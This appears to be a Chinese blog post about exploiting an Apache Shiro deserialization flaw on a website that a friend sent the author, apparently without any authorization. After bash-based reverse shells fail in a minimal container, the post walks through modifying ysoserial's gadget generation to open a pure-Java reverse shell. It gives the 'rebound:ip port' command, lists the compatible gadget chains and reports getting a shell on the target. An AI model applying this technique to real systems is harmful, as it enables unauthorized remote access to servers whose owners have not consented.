背景
某天閑著無聊,小伙伴發來一個某網站,說只能執行命令,不能反彈shell。
測試
對著目標站點一頓測試。
發現確實存在shiro反序列化,并且存在可以利用的gadget。利用
發現確實可以執行命令,但是我們執行反彈的時候。
反彈不回來,emmm。
查看各種系命令以及分析。
發現是一個精簡的Linux,經常用于docker環境的搭建。
并沒有bash環境。
使用sh命令反彈結果一樣,之后嘗試了各種反彈的方法,一言難盡。
所以我們需要一種新的反彈方法,利用java直接創建一個socket反彈。ysoserial
ysoserial是一款在Github開源的知名java 反序列化利用工具,里面集合了各種java反序列化payload。
源碼下載地址:
https://codeload.github.com/frohoff/ysoserial/zip/master
在很多java類的反序列化攻擊場景中會利用到該工具。
例如:apache shiro反序列化,會使用ysoserial生成反序列化語句,再使用key加密,發送攻擊payload。
如下python腳本,就是利用ysoserial生成反序列化語句,再用key加密生成cookie。
目的
各種各樣的反彈shell注入bash、sh、perl、nc、python等等,都比較依賴目標系統的環境和操作系統類型等等,如果可以直接利用java創建一個socket反彈shell則可以無需關心這些環境直接反彈shell。ysoserial分析
在執行ysoserial的時候一般使用的命令是java -cp ysoserial.jar ?/某個payload/ /命令/
打開源碼分析對應的payload類執行過程,如CommonsCollections2。
在執行該類的時候,運行payloadrunner類的run方法,來執行本類的class文件,再加上接收的參數,跟入payloadrunner類。
這里會調用payload中的getObject方法傳入要執行的命令,命令是接收的輸入或者是getDefaultTestCmd(),也就是說我們如果不輸入命令,他會執行以下默認命令。Windows:calcMacOS:calculatorLinux:gnome-calculator\kclac
如果輸入了命令會執行自定義命令,接下來會執行getObject方法()來生成payload,跟入對應類的getObject方法。
getObject方法中,調用Gadgets類中的createTemplatesImpl方法生成臨時的java字節碼文件,跟入對應的方法。
ysoserial改造
可以看到作者在命令獲取處已經留下了注釋。
待做:也可以做一些有趣的事情,比如注入一個純JavaRev/BindShell來繞過幼稚的保護。TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
一般情況我們在ysoserial后面寫的命令調用的是java.lang.Runtime.getRuntime().exec()方法來執行命令,寫死了,此處我們可以進行改造。
在原來的代碼基礎上寫成:
這樣我們再重新打包ysoserial文件再執行命令時使用如下格式。java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 'rebound:ip port'
可以直接獲得一個反彈shell。生成payload利用
發送。
Bingo,得到一個反彈shell。
ysoserial改造總結
由于不是所有的payload在構造時都調用了Gadgets.createTemplatesImpl,所以只有以下幾種適用于以上修改。CommonsBeanutils1CommonsCollections2CommonsCollections3CommonsCollections4Hibernate1JavassistWeld1JBossInterceptors1Jdk7u21JSON1ROMESpring1Spring2Vaadin1
此方法不依賴于目標操作系統和組件,可以直接利用java創建反彈shell。